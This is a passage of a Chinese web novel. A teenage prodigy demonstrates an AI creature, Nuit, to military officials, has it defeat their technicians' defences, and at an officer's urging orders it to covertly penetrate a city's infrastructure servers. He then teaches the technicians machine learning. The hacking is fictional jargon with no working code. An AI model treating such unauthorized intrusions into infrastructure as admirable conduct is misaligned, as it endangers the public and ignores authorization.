何耀祖终于开口:“你月考又是门门全满分吧?真聪明!我喜欢孩子们聪明如你。那我就说了:请把龙之城交出来吧。” “龙之城?”唐晔不知是装傻还是没反应过来。 何耀祖不再解释,只是笑笑,他在耐心地等少年的回答。 唐晔他用手肘架在宽大的红木圆桌上,侧着脑袋挠着头,有点儿夸张地思考着:“……我是真不知道什么龙之城……倒是有个服务器,有只叫Nuit的小怪兽。您指的是这个吗?” “对!”张恩国声如洪钟,把这少年吓了一跳,他稍稍收敛一下,坐直了身体,态度也稍严肃一些。 “这是你父亲唐晚星十几年前在防务部科技司时、与科研院联合研发的东西。请你把他交出来。”何耀祖唱白脸。 “交出来?它又不是在我家笼子里,怎么交?”唐晔失笑。 “把所有权移交给我们。” “呵,你们老头大概不懂,它是存在于服务器里的人工智能生物,不属于谁。而且照你们说,十几年前就研发的,这十几年放在那儿不要?你们自己使唤它就行了呀!” “我们没有密钥,动不了。但我们能监测它的数据活动。这十几年来它一直在沉寂中,但这几个月开始,数据频繁更新。” “啥,你们没密钥啊?!那怎么证明是你们搞出来的呀?”唐晔开始有点儿死皮赖脸。 “这是公共的知识财富。”何耀祖耐心解释。 唐晔笑着说:“是么?在我看来,我找到一个无主的地方,和一只野生的小动物,玩得好好的,现在让我说给就给呀?” “怎么证明是你的呢?”何耀祖说。 少年又笑了:“我为什么要证明?既是个荒地,我就进去玩玩而已。您到郊外游玩还得问这是谁的地方吗?” “当时唐晚星是奉命研发的,上头花费了人力物力,任务内容和获得成果都应该是公共的!” “这与我有什么关系呀?”少年挠了挠头发,无辜地说。 高大魁梧的张恩国站起身,走到唐晔身后。声音像金钟罩似的从少年的头顶罩了下来:“交,还是不交?” 唐晔只觉得一瞬间有种孙悟空被五指山压住的感觉,他定了定神,带着求救的心情看向唐万里:“爷爷,您怎么说?” “小晔,晚星没有背叛任何人,交出龙之城,洗清他的冤屈。”唐万里心中当然有杆秤,小儿子唐晚星是自己一生的痛。相比之下,小晔不配与晚星作比较。 他听见孙子长长地呼了一口气,有点稚嫩的声音发出与年龄不符的悲凉和讽刺:“呵呵,他当时救人本就是违抗命令,该受惩罚。现在只是拿个东西将功补过,就能把罪名一笔勾销,原来律法就是随便讲讲而已呀?” “你——”张恩国正想大吼。 “我交!” 全场目光都被他突然转变了态度而吸引过去。 “我交。”爷爷,您毕生的心愿不过如此,我怎么会违背您意愿呢?“我愿意交。张爷爷,请记得敦促洗清唐晚星的罪名,追封称号。” “好。刚才要是更爽快些,我们就好谈了。” 张恩国在唐晔背后俯下身,把双手重重压在少年单薄的双肩上,巨大的身影像要把他罩住:“从今天开始你暂住这里,直到把龙之城交接完成。” “不要。我有办法交接完成就行,我不要被限制人身自由。”少年边说边挣扎了一下,却甩不掉老头厚重的双手。 “你的血统来历不明,无权在我们国土上像普通人一样随意出入。” “张爷爷,您似乎弄错了。我是中华人民共和国的公民,拥有自由的人身权利。我交出Nuit是出于对国家的热爱。我并非间谍,也不清楚所谓的我’母亲’的身份。如果您坚持将我视为敌人,那么我不得不和您商讨交易条件了。”少年怒视着他,却突然住了嘴—— 他意识到自己在压力下说漏了嘴,眼神里闪过一丝犹豫。 除了对自己态度凶得不行的张恩国还是那张黑得像门神那样的脸,他看见爷爷深深地看了何耀祖一眼,而何耀祖坦然地接受了老朋友眼神里的责备:这孩子果然已经知道、或是查过他的母亲是谁了。 张恩国再次开口:“你的语气,很难让我相信。不限制你人身自由,万一……. ” “我哪都不去!上学、回家,两点一线,行了吧?!反正在学校里张宇不是把我盯得死死的么?!”唐晔赌气看着张少梅说道。 “容我插一句话:张宇是自发来到你身边保护你的,并不是去监视你。”张少梅不顾少年身后自己老父冷峻的面容说道。 唐晔的目光在他两父女脸上留连,忽地笑了:“为我刚才的话,向她道歉!……好啦,你们的技术官员在哪里,快点吧,晚上还要回家睡觉呢!” 小少年翘着二郎腿,坐在另一间会议室的办公椅上等着张恩国说的技术人员鱼贯入场。 随着十个二三十岁的制服男青年整齐地罗列在唐晔面前,小少年沉思片刻,正眼看也不看众人、开口问道:“谁能解释一下什么是神经网络,并描述它在人工智能中的作用?”他的声音虽然不大,但却有一种不容置疑的威严。 全场静默,没有人回答。唐晔微微皱眉,似乎对这个结果感到有些意外。他扫视了一眼众人,又问道:“谁能详细解释一下卷积神经网络工作原理及其在图像识别中的应用?” 再次,全场一片寂静。那些制服男青年们面面相觑,脸上露出尴尬的表情。他们虽然在网络技术领域有着丰富的经验,但对于这些当时尚算新颖的人工智能知识,却显得有些力不从心。 而且,这个小孩是谁啊?!男青年们心怀不满。 唐晔似乎有些不耐烦了,他眉头紧锁,又问道:“谁能解释强化学习的基本原理?”这一次,他的话语中透露出几分不满和失望。 然而,依旧没有人回答。全场静默得只能听到呼吸声和心跳声。唐晔惊讶地说道:“咦,这些问题你们都不会吗?” 随即,他又转向张恩国,语气中带着几分无奈:“张爷爷,他们太蠢了,我没法把Nuit交给他们。”他的话音刚落,人群中便响起轻微的声音。然而,张恩国一眼扫过,那些声音便立即消失了。 “吴凡,出列。”张恩国以威严的口吻下令,他的目光在队列中巡视,最终落在吴凡身上,如同鹰隼盯着猎物,犀利而深沉。“自我介绍!”张恩国的命令掷地有声,回荡在会议室密密匝匝的人群之中。 居首的高大男子稳稳向前一步,嘹亮地回答道:“报告,我们是国家防务部科技司某部队技术人员。我们队伍专注于保障军事信息系统的安全与稳定。我具备深厚的网络安全知识和实战经验,能够及时发现并应对各种网络威胁。我们每一个人,都是国家网络安全的守护者,是防线的坚固基石。” 张恩国微微点头,表示满意。他转向一旁的唐晔,示意他继续提问。 唐晔眨了眨眼,嘴角勾起一抹戏谑的笑意:“好了好了我知道了,”语气随便,“那还是这几个问题……” 就在这时,队列中突然响起一个响亮的声音:“报告长官!”张恩国微微皱眉,但并未阻止。 “我们是否需要回答这位……少年的问题?”声音中带着一丝质疑,但更多的是对老者的服从和忠诚。 张恩国瞥了唐晔一眼,淡淡地说道:“他问啥你就答啥吧。” 那名技术人员似乎有些不甘,犹豫了一下,“可是……” “没有可是,服从命令!”张恩国的语气突然变得严厉起来,如同一把利剑,直刺人心。 “是!”那名技术人员低声答道,声音中透露出几分无奈。 唐晔见状,嘴角勾起一抹更深的笑意,这个严肃的场合,竟然被他搅得有些滑稽:“啧,原来制服叔叔们这么听话呀,真好玩!”他干脆一贱到底,肆无忌惮地调侃着。 张恩国没有理会唐晔的玩笑,漫步在那群制服青年面前,继续训戒自己人说:“你们是国家的精英,是防线的守护者。但记住,无论面对何种情况,都要保持冷静和忠诚。这位少年虽然年轻,但他的智慧和洞察力却不容小觑。你们要认真回答他的问题,这也是对你们自身能力的考验。” 在张恩国的目光下,没人再敢出声,但眼神已经把这拽得要死的少年刀了一万次以上。 唐晔缓缓站了起来,开始在房里来回踱着步子,似乎在思考着一个重大的决定。NUIT的能力太过强大,如同一把终极武器,闪烁着耀眼而危险的光芒。他的确不敢随意把它交给一堆人,随便骗骗他们是不难,但万一他们有一个人,不小心发现了它的破坏力呢? 他叹了口气,声音中带着几分无奈和决绝,“张爷爷,我没法把它交给十个人。基数太大,破坏力太过惊人。一旦失控,后果将不堪设想。” 张恩国眉头紧锁,目光如炬地盯着唐晔,沉声道:“那你想怎样?” 唐晔停下脚步,转身面对着张恩国,眼中闪烁着坚定的光芒,“只有四个人能获得Nuit的使用权,也就是龙之城门的钥匙。这四个人必须是我认同有能力掌控NUIT的人。等到他们完全学会如何掌控时,我再交出NUIT的所有权。” 张恩国闻言,嘴角勾起一抹冷笑,“呵呵!你以为你是谁?凭什么由你来决定这一切?” 唐晔丝毫不惧,他直视着张恩国的眼睛,声音坚定而有力,“您怕是不相信我的诚意。但我也只能做到这一步,要就要,不要拉倒。反正对我也没啥损失,我一介平民,一没违法二没犯罪,您还能把我抓起来不成?” 张恩国愣了一下,随即脸色变得阴沉起来。 房间里陷入了短暂的沉默,只有唐晔的脚步声和张恩国沉重的喘息声在回荡。这是一场激烈的较量,双方都在试图用自己的方式掌控局面。 最终,张恩国率先打破了僵局,“好,我同意你的条件。但你必须保证那四个人能够完全掌控NUIT。” 唐晔点了点头,脸上终于露出认真和庄重。 唐晔目光锐利地扫过在场的人群,“既然是网络安全的技术官员,请用不超过50行代码做一个防范洪泛攻击的防火墙,限时5分钟。引用什么请随意。” 话语一落,人群里顿时响起一阵嗡嗡声,众人开始议论纷纷。 “三、二、一,开始!” 唐晔一声令下,大家再不出声,纷纷低头开始编写代码。五分钟的时间仿佛过得飞快,唐晔数了数,竟然只有6个人在规定时间内按要求完成了任务。 他微微一笑,然后说道:“现在开始抢答。谁先想出答案谁先回答,但不是口头回答,而是想办法让答案出现在投屏上。” 人群里又嗡的一声,众人开始忙碌起来,试图抢先将自己的答案投送到大屏幕上。 唐晔问了几个函数题,只有两个人成功地将答案投送过来,并被显示在大屏幕上。看着这两个人的名字,唐晔的眼中闪过一丝满意的光芒。 然而,其他人却显得很是不满,开始交头接耳,议论纷纷。唐晔懒得费嗓子解释,只是斜眼看了看张恩国。张恩国立刻明白了他的意思,清了清嗓子,大声说道:“安静!听他指令。” 这时,一个声音突然响起:“报告!这位少年是谁,凭什么由他来挑选我们?” 这个声音带着几分不满和疑惑。 唐晔抬起头,目光冷冽地看向那个发问的人,缓缓正色说道:“我是NUIT和龙之城的拥有者。而你们,是被选来接受挑战的人。只有通过我的考验,你们才有资格获得NUIT的使用权。这是我对你们的考验,也是对你们能力的认可。如果你们觉得不公平,现在可以离开,我绝不阻拦。” 他的话语清清朗朗,让在场的人都为之一震。那个发问的人也被他的气势所慑,不再说话。 “Nuit和龙之城竟然在你手中?你这小子有什么资格?”刚才那个吴凡的质疑声在空旷的房间里回荡,他瞪着唐晔,眼神如刀。 唐晔撇了撇嘴,脸上又挂上了那副吊儿郎当的模样,对这叔叔的质疑毫不在意:“凭我随意秒杀你们,你们连还手的力气都没有。” 吴凡心中一阵冷笑,他暗自思忖:“Nuit和龙之城不是一直在锁定状态吗?他怎么可能控制得了?” 唐晔似乎并没有注意到这个叔叔心中的想法,他淡淡地开口道:“这样吧,你们建立个屏障。十分钟后,我会开始进攻。你们,只需要守住一分钟就够了。”他的语气中充满了轻蔑与不屑,仿佛在他眼里,他们这些人的实力在他眼中不过蝼蚁撼树。 吴凡眉头一皱:“每人一个屏障吗?”他的心中有些不满,如果不是看在张长官的面子上,他早就一把抓起这个瘦弱的小子扔到一边去了。 唐晔瞥了他一眼,嘴角勾起一抹嘲讽的笑容。“呵呵,你们配吗?所有人一起,守一个屏障。” “MD,这小子!”吴凡没控制住自己的声音。 第三十章无敌 十分钟的提示音在空气中回荡,余音未散。 吴凡与他的同伴们,如同古代守城的将领一般,挺立在虚拟屏障之前,他们的目光坚定,心中充满了紧张与期待。 他们刚才使用了分布式加密技术,构建了一个基于区块链的防护网络。这种网络通过节点间的共识机制确保了系统的稳定性和安全性。同时,他们采用了高级的加密算法确保了数据传输的安全性,并且每个节点都部署了防火墙和入侵检测系统,以抵御潜在的威胁。 然而,那个瘦削的少年,却依旧凝视着窗外,仿佛沉浸在自己的世界里。 太阳已经下山,天空的颜色从浅蓝逐渐转为深蓝,窗外的景色剩下灰蓝一片,玻璃上反射出会议室吊灯的光芒比外面的天空还要明亮了。 就在这时,唐晔仿佛从沉睡中醒来,他轻轻叫了一声:“哎呀,只剩一分钟了呢。” 他迅速唤醒电脑,手指在键盘上轻轻敲击,声音清脆而有力。 他轻声呼唤:“Nuit!”随着他的呼唤,一阵柔和的蓝光从摄像头设备中射出来,扫过他的右眼,为他增添了几分冷酷。 “给你30秒,攻陷那座堡垒。” 在他们惊讶的目光中,Nuit仿佛一头苏醒的猛兽,开始展现出它的威力。 Nuit首先进行了快速的扫描,利用端口扫描技术和漏洞探测器来寻找潜在的入口点;又利用了零日攻击的技术,然后,再次使用了社会工程学手段,模拟人类行为模式来获取信任或绕过安全验证机制;最后,Nuit通过注入恶意代码的方式破坏了对方的加密算法,并通过伪造的数据包让对方的系统陷入混乱,从而成功突破了防线。 20秒不到的时间,他们刚才合力建造的城堡在Nuit的攻击下开始摇摇欲坠。从城门中间开始,城堡逐渐塌陷,他们引以为傲的铜墙铁壁在Nuit的攻击下化为串串断裂的0和1,消散在虚无之中。 当城堡完全崩溃时,倒计时刚好停在最后一秒。唐晔转过身来,脸上带着嘻笑的表情,目光扫过他们一张张不甘心的脸。他又笑道:“呀,这么快!叔叔们真的要好好努力了啊!” 吴凡和他的同伴们愣住了,他们看着唐晔那嬉皮笑脸的模样,心中充满了无奈与愤怒。他们知道,他们输了,输得如此彻底。他们的团队曾经引以为傲的实力,在这个被唐晚星创造出来的智能体面前显得如此不堪一击。 这时张恩国插话了:“究竟NUIT这个智能体能干嘛?不是偷窥一下隐私,或者挖掘一下局长的情妇这种无聊事儿吧?”他的语气中难掩内心狂热的期待。 小少年的鼻子皱了一下,嘟着嘴说:“您也知道不少嘛……至于NUIT,你想像得到的,或是你想像不到的。它都能做。” “比如,把’我爱我家’这句话,挂在基础设施服务器里?”张恩国笑眯眯的一步一步接近他,目光却直逼着少年的脸,似乎要试探他的底线。 “可以。”唐晔翻了个白眼,拿过电脑,一边说:“这种小儿科的事情就别找我啦,您手下这些虾兵蟹将也会。” “不,小孩,不是挂在网页上。我希望你能将这句话直接嵌入到控制L城基础设施运作的核心服务器上。让它在城市的每一个角落,以更加深远和持久的方式存在。”张恩国的语气满是期待。 “您认真的?”唐晔抬头,墨蓝色的眼珠映衬着当了几十年将领的老人钢铁一般的脸。 “是。”老人声如洪钟。 “张爷爷,您这是在挑战网络安全的极限。一旦操作失误,不仅会导致系统崩溃,对当地人的生活造成严重影响……”少年清醒得很。 “你有本事控制自己不再往前一步。” 小少年很干脆地双手投降:“我承认,技术不行,做不到。” “真的吗?”老人一双大手按在桌子上,目光如刀,在小少年小巧的脸上一刀刀划过:“NUIT被创建时,就是一把刺向敌人的利剑……” “您也知道那是它被创建时,那得多少年前了,它沉睡了那么久,技术早就革新了好吗?张爷爷!”小少年泛起一丝紧张,但尽量表面不动声色地感叹道:“您都变老了,难道它不会?” “对呀,连你,都十几岁了。但它,会自己成长不是吗?它不是在沉睡,而是被放养在无尽空间里,自己嗅探着在学习。” “爷爷,何爷爷,您知道入侵一个城市的基础设施服务器会有什么后果吗?交通系统陷入混乱,事故频发。交易所、写字楼、科 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老人并不再与少年纠结,他转身向会议室后面叫道:“万里老弟,你怎么说?” 与何耀祖坐在一起的唐万里站了起来,一步一步走过来,目光带着恳求:“小晔……” 那道柔和的蓝光又扫过了少年的虹膜。 少年取得了最高权限后,对原本潜藏在无尽虚空中的智能体发出了自己的指令: “Nuit,启动深度网络渗透作业。 实施网络拓扑精准测绘与流量行为模式分析,以识别L城基础设施网络的关键节点与核心服务器路径。 利用零日漏洞挖掘与高级隐匿隧道构建技术,规避所有已知与未知的安全防御机制,实现无痕渗透。 核心服务器核心区域通过内存操作与数据封装技术,部署定制化代码注入脚本。 采用非干扰式数据嵌入策略,将加密后的’我爱我家’信息标记安全地植入系统底层。 必须随时检测系统稳定性与安全性不受影响。” 大约5分钟后,张恩国接到个电话:“嗯,好,我知道了。” 他放下电话,惊喜地看向从几分钟之前一直盯着窗玻璃的发呆的男孩:“你居然做到了!你果然比唐晚星还要厉害多了。” 那些年轻人,有几个人听说过这个十几年前就流传着的名字的:“什么,唐晚星?” “他与唐晚星是什么关系?” “他究竟是何方神圣?”人群在窃窃私语。 少年静静站在那儿,没有半句回应。他没告诉所有人的是,刚才在虚拟现实里经历的腥风血雨。他们看到的,只是黑盒里的被测试的程序返回了正确的结果,而在他眼里看到的众多窗口里飞速划过的一串串代码,都向一把把刀,砍向虚拟世界里的每一个数字卫士,摧枯拉朽地让它们一排排倒下。 他心惊胆战,而无可否认地,又意气风发。 老人又靠近他一步:“看什么?”声音低沉有力。 窗外的夜色已浓,景色已完全从玻璃上消失。然而,窗玻璃上却映照出屋内的一切,宛如一幅生动的画卷。白炽灯的光芒刺得人眼睛生疼,会议室最后面的那群人,他们的身影在光与影的交错中变得模糊不清。或站或坐,或交头接耳,或沉思默想。 而站在中间的十个年轻人,他们的目光却紧紧地锁定在大屏幕上。那屏幕上跳动着的是一行行代码,以及那些代码返回的结果。有的年轻人一脸迷茫,似乎被这些复杂的代码搞得头晕目眩;有的则露出惊叹的表情,仿佛在这无尽的数字世界中找到了新的天地。 少年轻轻地笑了笑,那笑容中充满了自暴自弃式的自大:“在看自己。” “哈,这也好看?”老者有些不解地皱了皱眉。 少年对着窗玻璃上反射的自己笑了笑,戏谑道:“我长得这么帅,还聪明到您奈我不何,这还不好看吗?”突然,他回身抓起桌上的一支笔,眼神中闪过一丝狠厉,向玻璃中映衬着的自己刺了过去。然而又突然停住了,仿佛被一种无形的力量所束缚。 他轻轻地扔下笔。 “怎样,张爷爷,还要我给您演示啥?”他转过身来,面对着老者。 老者沉默了一会儿,似乎在思考着什么。终于,他开口了:“没了,教吧。”他的声音充满了不容置疑的威严。 少年点了点头,仿佛一切都在他的掌控之中:“你看到了它的威力,所以说了我只带4个人。”他的声音坚定而冷淡。 “那你选。”老者放任了他。 看过他刚才的演示后,每个人都不敢再轻视这个少年。跟随他,我们能够学到自己之前无法达到的境界。十个人脸上都流露出期待的神色。 “好。”唐晔这次没有应付,而是爽快地应承下来。他坐回电脑前,眼神专注地在电脑屏幕上的每一个字节中寻找着答案。 十多分钟过去了,他才缓缓抬起头:“赵新城,林栋。” “只有两个?”张主席的眉头微微一皱,似乎对这个结果有些不满。 唐晔轻轻叹了口气,又低头看了看电脑屏幕。他的手指在键盘上轻轻敲击,仿佛在思考着什么。过了一会儿,他又点了三个名字:“孙山,吴凡,麦俊成。你们三人口头回答我这几个问题。” 那三个人听到自己的名字被点到,立刻站了起来,脸上露出了紧张而又期待的表情。 吴凡首先开口,朗声回答出了四、五个选项。他的声音穿透力极强,一听就是那种受过严格训练的人。怪不得深得张恩国喜欢。 孙山紧随其后。 唐晔点了点头,对他们的表现表示满意。 “加上他俩。” 小少年自己也还是个学生呢,从未当过教师,他只好把自己之前和白勇一起探讨过的东西又拿出来讲一遍。 和数学系的白勇不同,他们几个都是计算机编程或是网络安全专业,对算法有一定的理解,但很多数学理论都忘得差不多了。唐晔只好强迫他们重拾微积分、线性代数、概率统计等内容。 30岁出头的身材高大的吴凡闷头不语,就算是对着笔记本的屏幕也坐得笔直;林栋也人如其名,比树还直、比大楼还板正;赵新城是里面最年轻的,还是个娃娃脸,皱着眉头时眼睛也是弯弯带笑,看起来就觉得比那两人容易亲近些,据他本人说去年才由科技大毕业加入团队;而差点就名落的孙山哥哥则有点像王翔宇师兄与柏文哥哥的结合体,永远笑嘻嘻的,理论也很扎实,就是思维反应比他们几位稍慢些。 认真地盯着他们学习一会儿,小少年就疲累得看到数字就两眼发直,脑袋里只想着怎么与旁边的长条沙发来个亲密拥抱,把自己揉在沙发里。 唐万里他们已在外间用过餐,唐笑心急弟弟,站在会议室门口招呼弟弟出来吃东西。 唐晔挥手让姐姐进来坐在沙发上,自己却毫不客气往姐姐怀里一倒:“累死我了。” “那闭上眼睛歇会儿。”唐笑有点心疼地揉着他的额角。四年前,当唐笑还没去英国读书前,周末也常在云山大宅居住,陪伴过这个弟弟刚被接回国内的两年。两人私下感情不错。现在每年回来,唐笑都会惊喜地发现这个弟弟越长越高了。 唐万里也走了过来,坐在两姐弟身边。 老人侧目扫视着靠在唐笑怀里的唐晔,小少年的右手手指轻轻搭在自己大腿上,做了弹古琴时几个“勾”和“挑”等手势,又连着几个轮指。 他叹了口气。看得出来,这孩子受委屈了。 他勉强跟得上发妻的商业思维,却不太懂小儿子留下来的东西,更不知道小孙子从小在电脑上捣鼓些什么。 以前,他的妻睿智,他的儿聪敏。现在这个孩子也异于常人。 唐万里凝视着眼前那个闭目依偎在姐姐怀中的少年,只要不看着他双瞳的颜色,他多像晚星:“你还想要一床古琴吗?”少年微微睁开眼睛,瞥了一眼祖父,随后扭转身体,却未离开姐姐的怀抱,仿佛那里才是他最安全的避风港。他语气淡然地回答:“爷爷,我不想要别的,’流光’已经够好了。” 唐万里深知少年心中有怨,为自己刚才因张恩国之事强迫了他,但他可以补偿点什么,于是试探性地问:“那你最近可相中了什么?” 少年微微皱眉,似乎对这个话题不感兴趣。然而,稍作思考后,他开口说:“三天后,M国波士拍卖行,唐代张萱的《乳母抱婴图》。超过两百万,您就别买了。” 唐万里听到这个答案,满意地靠在沙发上。《乳母抱婴图》是唐代珍品,价值连城,竞价者众。但他也了解少年的性格,既然他能开口,说明心中已不再有芥蒂,便爽快地答应:“只要你愿意,一千万我都给你买下。” 唐晔闻言,坐起来望着唐万里,嘴角勾起一抹淡淡的笑意,轻描淡写地说:“见过败家的,却没见过您这么败家的。” 唐万里听后并未生气,反而放声大笑。 唐笑在旁,皱了皱眉,但也未发一言。 倒是张恩国与何耀祖走过来,对唐万里养育孩子的方式表示不赞同。 张恩国眉头紧锁,威严地说:“老哥,孩子们的成长不能仅靠金钱堆砌。你的宠溺可能会让他们失去对金钱价值的正确判断。” 何耀祖附和道:“恩国说得对,你应该明白小晔真正需要什么,仅用金钱可能会害了他。” 唐万里挥手打断他们:“我明白你们的意思,但你们不了解小晔。他与众不同,有自己的想法和追求。我给他这些,不是溺爱,仅是抚慰。” 张恩国和何耀祖无奈对视,深知唐万里的固执。 此时,唐笑突然发话:“抱歉打扰一下,张爷爷,何爷爷,你们可明白这项目的价值吗?它堪比国家预算。M国排名靠前的富翁多靠IT起家,一个算法、一个网站白手成就身家上亿。如今让小晔如此轻易交出这个巨作,连祖父的赠礼也要横加干涉。这对小晔公平吗?” 唐万里点头认同:“这一点,笑笑说得对。”随后走出会议室,留下张恩国、何耀祖和唐笑在原地。 他的心是欣慰的,小晔终于有了晚星狂放不羁的影子。 而那个闭目依偎在姐姐怀中的少年,仿佛对周围的一切都置若罔闻。这并非金钱的问题,而是他们无法理解NUIT对他而言的重要性。 NUIT象征着他与血缘上的父亲之间的心灵纽带。原本,他可以通过这个智能体洞察唐晚星的想法,了解他的希望与梦想,以及他如何用智慧和力量去构建理想中的世界。然而,现在NUIT既已经答应拱手让出,他也失去了这个唯一的连接纽带。 他自幼无父,对母亲的记忆也仅是一些零散的片段。在此长大,表面看似拥有一切富贵,但他却从未有过完整的安全感,他的心始终无处安放。 20. 第 20 章 周日凌晨,唐笑才将弟弟送回万里书院。唐晔刚推开家门,就看到唐天从沙发上猛地起身,一边朝他猛扑过来,一边大声质问:“怎么现在才回来!”那咄咄逼人的气势,让他不禁吓了一跳。 唐天像条大蛇般紧紧缠绕着弟弟的脖子,手脚并用地抱着他。唐晔站立不稳,两人一起倒在了沙发上。 被哥哥抱住的唐晔感受到一种异样的压迫感,仿佛有些喘不过气来。 这时,唐笑走进来,看到这一幕略显惊讶,上前轻声劝道:“小天,你一整晚都没睡吗?别这样了,小晔已经很累了,让他去洗个澡好好休息一下吧。” 听到姐姐的声音,唐天才稍微松开了一些手。他盯着怀里的弟弟,红着眼睛质问道:“为什么你不回信息?你们到底去了哪里!” 唐晔抬头看着唐天那焦急而又关切的眼神,心中涌起一股暖流。然而,他的身心疲惫,只想好好睡一觉,没注意到唐天的异常情绪。他轻轻地说:“没事的,哥哥,没事的,好吗?”他的声音带着一丝疲惫和无奈。 人回来了,总算让唐天稍稍安心了一些,但他看着弟弟疲惫不堪的样子,心中充满了疑惑和担忧。他不知道弟弟究竟经历了什么,也不清楚大姐带他去了哪里,为何这么晚才回来,甚至担心有一天他就再也不回来了。 自从寒假时再次见到唐晔病发,唐天心里就一直绷着一根弦,随时都可能断裂。 看到唐天有些神神叨叨,唐笑只是认为这是因为半年前他差点害得唐晔丧命,加上上个月唐晔又病了一场,让唐天变得过于紧张了。 当初唐晔刚来到唐家的时候,她已经十几岁了,能够基本理解所谓的生与死。听方伯伯说过,唐晔的身体状况并不乐观,甚至有医生预测他可能活不到成年。毕竟这位弟弟以前并没有出现在她的生命里,所以她能够坦然接受,但对于年龄相近的唐天来说,这样的事实可能难以接受,只能慢慢去适应。 她轻轻拍了拍唐天的肩膀,说道:“小天,别担心了,小晔没事。我们先让他去洗个澡,然后好好睡一觉吧。” 唐天点了点头,知道自己需要冷静下来。他松开了手臂,让唐晔得以脱身。唐晔感谢大姐送自己回家,然后疲惫地走向浴室。唐天则再次盘腿坐在沙发上,静静地守候。 浴室里传来了水声,在这个凌晨时分回荡着。直到唐晔洗完澡,唐天跟着他上了楼,进了房间,等弟弟软绵绵地躺在床上,他又轻轻地为弟弟盖上被子,然后坐在床边,守着他入睡。 “睡吧,睡着了,你就不会走了。” 三月下旬的周五,刚一放学,与何嘉南骑车出校门时,唐晔远远又看到上次那台来接他的黑色车子。他暗暗叹了口气。 何嘉南问:“怎么了?” 他摇了摇头。 “后天你要不要一起去逛越秀公园?有个汉服踏青的活动,我答应钟小琳袁雅维去给她们拍照了。”本来何柏文说多点约他们两兄弟出来玩,一月份大家倒是相约一起出去玩了好几次,但自从二月份过年前后,听说唐晔病倒、一直在他爷爷家卧床休养,几乎整个月都没见上面,好在放假回来他看着已经没事了。但开学这段时间,连着几个周末约他们两兄弟出来,两人却老是在推脱。 在合群路上与何嘉南分别,唐晔回到家拿上自己的电脑,又给还没回到家的唐天发了信息,告诉他今晚去爷爷家。 他出了书院大门,乘上那台牌号隐秘的车子。 而这一切都让刚好回到的唐天看在眼里。 这台车不是爷爷派来的。小晔究竟去了哪?他为什么要骗自己? 上次选出来的四名技术人员大哥们花时间巩固了自己的基础后,这次见面,唐晔毫不客气地对他们进行了考核,并一一点评他们在数学基础上的薄弱环节。 少年的话说得很直接:“哥哥们,每周见面的时间就一两天,我没有再给时间让你们再进行强化了,麻烦你们下次有问题及时发邮件或信息给我,赶紧问,及时查漏补缺对于你们来说只有好处。又不是小孩子了,自觉些好吗?”这认真执着的态度,这毫不留情的语气,让站附近盯着他的、一向严肃的张恩国不由得笑出来。 唐晔没有笑。迫于张恩国的压力,其他四人也不敢笑,不过表情就丰富得很了:娃娃脸的赵新城连连点头,一向看这小孩不顺眼的吴凡冷笑了一下,林栋和孙山大概是同一批的,两人眼神有所交流,孙山嘻皮笑脸的小声说了句:“抱歉啊小老师,岁数大了脑袋不好使。” “我看你们是觉得面子下不去吧,只有愚蠢的人类才会在意面子。不说了,今天我要开始讲机器学习的部分了。” 他把这个星期来做的PPT投送到身后的白板上,上面列满了各种数学公式和算法模型。四个技术员不由得高昂起头,聚精会神地看着他的讲解:“这是人工智能领域的核心部分,也是实现智能决策和自动化的基石。” 赵新城插话说:“我知道监督学习、无监督学习和强化学习,但是它们之间的具体区别和应用场景我还有点模糊。” 唐晔解释道:“监督学习是通过已有的标记数据进行训练,让模型学会如何根据输入预测输出。比如,我们常见的图像识别就是监督学习的一个应用。而无监督学习则是让模型从大量无标记的数据中发现结构和模式,比如聚类分析。强化学习则是通过试错的方式,让模型在与环境的交互中不断优化自己的行为,像自动驾驶汽车就需要用到强化学习。” “……损失函数用于衡量模型预测值与真实值之间的差距,通过最小化损失函数,我们可以优化模型的参数。常见的损失函数包括均方误差、交叉熵等,它们在不同的任务中有不同的应用。比如交叉熵损失函数,它通常用于分类问题。 比如,在图像识别中,我们要判断一张图片是猫还是狗。交叉熵损失函数可以帮助我们衡量模型预测的概率分布与真实概率分布之间的差异,从而优化模型参数,提高分类的准确性……” 整整两个小时时间,这名少年在不停地给他们举例、讲解,四人当中,赵新城不断地提问追问,孙山也经常插科打诨似地设问自答,林栋也举手回应,少年完全没有一丝不耐烦,认认真真地作了解释。 本来赵新城他们几人第一面对这小屁孩印象不太好,太过高傲,但相处下来发现,只要自己坦诚,这孩子倒是乐于分享知识的。 对于他的天才脑瓜子,理解这些是一瞬间的事,但来自唐晚星的基因似乎不断警醒他,他应该为唐晚星未竟的事业而努力一把。 少年的讲述告一段落,他轻轻地揉了揉自己的额角,喝了口水,却不由得呛咳了出来,他连忙拿起抽纸捂着嘴站到无人的角落,大口地深呼吸起来,似乎十分疲惫。赵新城忙走到他身边给他拍拍背:“小唐老师,你没事吧?”他连连摆手。 歇了一会儿,他喝了口水,又继续讲了起来。 “……今天的课程就到这里,我希望你们能回去好好消化一下。”小孩的声音干巴巴的,“下周我会开始讲解深度学习的内容,你们可以先预习一下,有问题一定要随时联系我。” 吴凡一向自视甚高,但在这个小孩面前,他却不得不承认自己的不足,他默默地低头整理着笔记。 娃娃脸的赵新城兴奋地站了起来,眼中闪烁着求知的光芒:“小唐老师,你真是太厉害了!我从来没想过机器学习可以这样深入浅出地讲解。下周的深度学习,我一定要好好预习,争取跟上你的节奏!” 唐晔不由得嘲笑他:“赵哥哥,你今年几岁了啊?怎么感觉比我们同学还要幼稚?” 赵新城说:“哎你怎么这样,没听过孔子说‘敏而好学,不耻下问’吗?就连孔子都向7岁小孩求教,何况我们呢!” 孙山嘴巴也甜得很:“就是,小老师,你可真厉害!我们一定跟随你,和你一起努力!” 这小少年听了,嘴角勾起一抹微笑,嘴上却从来不饶人:“别说得这么好听,你们快点理解了这些内容就是对我最大的帮助了。” 林栋也表示赞同。他们围坐在一起,讨论着未来人工智能的发展方向和应用场景。从智能家居到自动驾驶,从医疗诊断到金融风控,他们畅想着科技带来的无限可能。唐晔微笑着倾听他们的讨论,不时地提出自己的看法和建议。 直到周日凌晨,唐晔才被送回了家。 唐天房里的灯亮了整宿又整天,他哪都不想去,在自己房间的内窗确认弟弟已经回到,洗完澡进了房间,才安心下来。他感觉现在已经有点控制不住自己的行动了,怕一下子忍不住,又会冲上去,把他紧紧勒住。 三月份连着几个周末,弟弟时不时被不认识的人接走,问他,他又什么都不肯说,唐天整天在自己房间里,或者在楼下与自己房间连通的音乐室里弹琴,弹吉他,累了睡,醒了继续弹。 他什么时候会离开,回去他母亲身边? 